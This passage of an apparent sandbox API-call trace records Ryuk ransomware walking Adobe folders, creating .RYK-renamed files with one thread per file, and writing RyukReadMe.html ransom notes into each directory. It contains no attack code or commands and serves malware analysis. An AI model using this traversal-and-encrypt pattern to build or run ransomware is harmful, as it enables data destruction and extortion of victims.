	[0246.587] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.588] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x18a, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0246.588] FindNextFileW (in: hFindFile=0x3ef9d0, lpFindFileData=0x18d480 | out: lpFindFileData=0x18d480*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x18a, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0246.588] FindClose (in: hFindFile=0x3ef9d0 | out: hFindFile=0x3ef9d0) returned 1
	[0246.588] SetLastError (dwErrCode=0x0) 
	[0246.588] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\Cache\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\cache\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x118
	[0246.589] GetLastError () returned 0xb7
	[0246.589] CloseHandle (hObject=0x118) returned 1
	[0246.589] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x746399e0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x746399e0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x180, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0246.589] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd3b286a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd3b286a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74b488a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x1522, dwReserved0=0x180, dwReserved1=0x0, cFileName="SharedDataEvents.RYK", cAlternateFileName="SHARED~1.RYK")) returned 1
	[0246.589] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.590] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x118
	[0246.591] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.591] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x749cbae0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x180, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 1
	[0246.591] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.592] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4d0
	[0246.594] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.594] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd243f2e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd243f2e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x749cbae0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x12fc2, dwReserved0=0x180, dwReserved1=0x0, cFileName="UserCache.bin.RYK", cAlternateFileName="USERCA~1.RYK")) returned 0
	[0246.594] FindClose (in: hFindFile=0x3efa30 | out: hFindFile=0x3efa30) returned 1
	[0246.595] SetLastError (dwErrCode=0x0) 
	[0246.595] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\10.0\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\10.0\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4b8
	[0246.595] GetLastError () returned 0xb7
	[0246.595] CloseHandle (hObject=0x4b8) returned 1
	[0246.595] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x170, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0246.595] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x746399e0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x170, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0246.595] FindClose (in: hFindFile=0x3ef8b0 | out: hFindFile=0x3ef8b0) returned 1
	[0246.595] SetLastError (dwErrCode=0x0) 
	[0246.595] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Acrobat\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrobat\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0246.596] GetLastError () returned 0xb7
	[0246.596] CloseHandle (hObject=0x4ac) returned 1
	[0246.596] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x164, dwReserved1=0x0, cFileName="Color", cAlternateFileName="")) returned 1
	[0246.596] SetLastError (dwErrCode=0x0) 
	[0246.596] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0246.596] GetLastError () returned 0xb7
	[0246.596] CloseHandle (hObject=0x4ac) returned 1
	[0246.597] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\*.*", lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x170, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef8b0
	[0246.597] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74df6160, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74df6160, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x170, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.600] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce60f420, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74c793a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x170, dwReserved1=0x0, cFileName="ACECache11.lst.RYK", cAlternateFileName="ACECAC~1.RYK")) returned 1
	[0246.601] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.601] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x4b8
	[0246.603] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.604] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74f00b00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74f00b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x170, dwReserved1=0x0, cFileName="Profiles", cAlternateFileName="")) returned 1
	[0246.604] SetLastError (dwErrCode=0x0) 
	[0246.604] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d4
	[0246.604] GetLastError () returned 0xb7
	[0246.604] CloseHandle (hObject=0x4d4) returned 1
	[0246.604] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\*.*", lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74f00b00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74f00b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3efa30
	[0246.604] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xce4463a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74f00b00, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74f00b00, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x17c, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.605] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x747b67a0, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x747b67a0, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x747b67a0, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x17c, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0246.605] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74eb4840, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x103c2, dwReserved0=0x17c, dwReserved1=0x0, cFileName="wscRGB.icc.RYK", cAlternateFileName="WSCRGB~1.RYK")) returned 1
	[0246.605] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.605] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x460
	[0246.607] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.608] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74e42420, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x17c, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 1
	[0246.608] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b10000
	[0246.609] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x434
	[0246.610] VirtualFree (lpAddress=0x8b10000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0246.611] FindNextFileW (in: hFindFile=0x3efa30, lpFindFileData=0x18dbb0 | out: lpFindFileData=0x18dbb0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xce60f420, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xce6f3c60, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x74e42420, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0xb92, dwReserved0=0x17c, dwReserved1=0x0, cFileName="wsRGB.icc.RYK", cAlternateFileName="WSRGBI~1.RYK")) returned 0
	[0246.611] FindClose (in: hFindFile=0x3efa30 | out: hFindFile=0x3efa30) returned 1
	[0246.611] SetLastError (dwErrCode=0x0) 
	[0246.611] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\Profiles\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\profiles\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4d4
	[0246.611] GetLastError () returned 0xb7
	[0246.611] CloseHandle (hObject=0x4d4) returned 1
	[0246.612] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x170, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0246.612] FindNextFileW (in: hFindFile=0x3ef8b0, lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74790640, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74790640, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74790640, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x170, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0246.612] FindClose (in: hFindFile=0x3ef8b0 | out: hFindFile=0x3ef8b0) returned 1
	[0246.612] SetLastError (dwErrCode=0x0) 
	[0246.612] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\Color\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\color\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0246.612] GetLastError () returned 0xb7
	[0246.612] CloseHandle (hObject=0x4ac) returned 1
	[0246.612] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x164, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 1
	[0246.612] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x74613880, ftCreationTime.dwHighDateTime=0x1d5cdef, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x273, dwReserved0=0x164, dwReserved1=0x0, cFileName="RyukReadMe.html", cAlternateFileName="RYUKRE~1.HTM")) returned 0
	[0246.613] FindClose (in: hFindFile=0x3ef850 | out: hFindFile=0x3ef850) returned 1
	[0246.613] SetLastError (dwErrCode=0x0) 
	[0246.613] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448
	[0246.613] GetLastError () returned 0xb7
	[0246.613] CloseHandle (hObject=0x448) returned 1
	[0246.613] FindNextFileW (in: hFindFile=0x3ef7f0, lpFindFileData=0x18f140 | out: lpFindFileData=0x18f140*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1
	[0246.613] SetLastError (dwErrCode=0x0) 
	[0246.613] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x448
	[0246.614] GetLastError () returned 0xb7
	[0246.614] CloseHandle (hObject=0x448) returned 1
	[0246.614] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\*.*", lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x164, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef850
	[0246.614] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x164, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0246.614] FindNextFileW (in: hFindFile=0x3ef850, lpFindFileData=0x18ea10 | out: lpFindFileData=0x18ea10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x164, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
	[0246.614] SetLastError (dwErrCode=0x0) 
	[0246.614] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4ac
	[0247.092] GetLastError () returned 0xb7
	[0247.092] CloseHandle (hObject=0x4ac) returned 1
	[0247.092] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\*.*", lpFindFileData=0x18e2e0 | out: lpFindFileData=0x18e2e0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x74613880, ftLastAccessTime.dwHighDateTime=0x1d5cdef, ftLastWriteTime.dwLowDateTime=0x74613880, ftLastWriteTime.dwHighDateTime=0x1d5cdef, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x186, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ef8b0
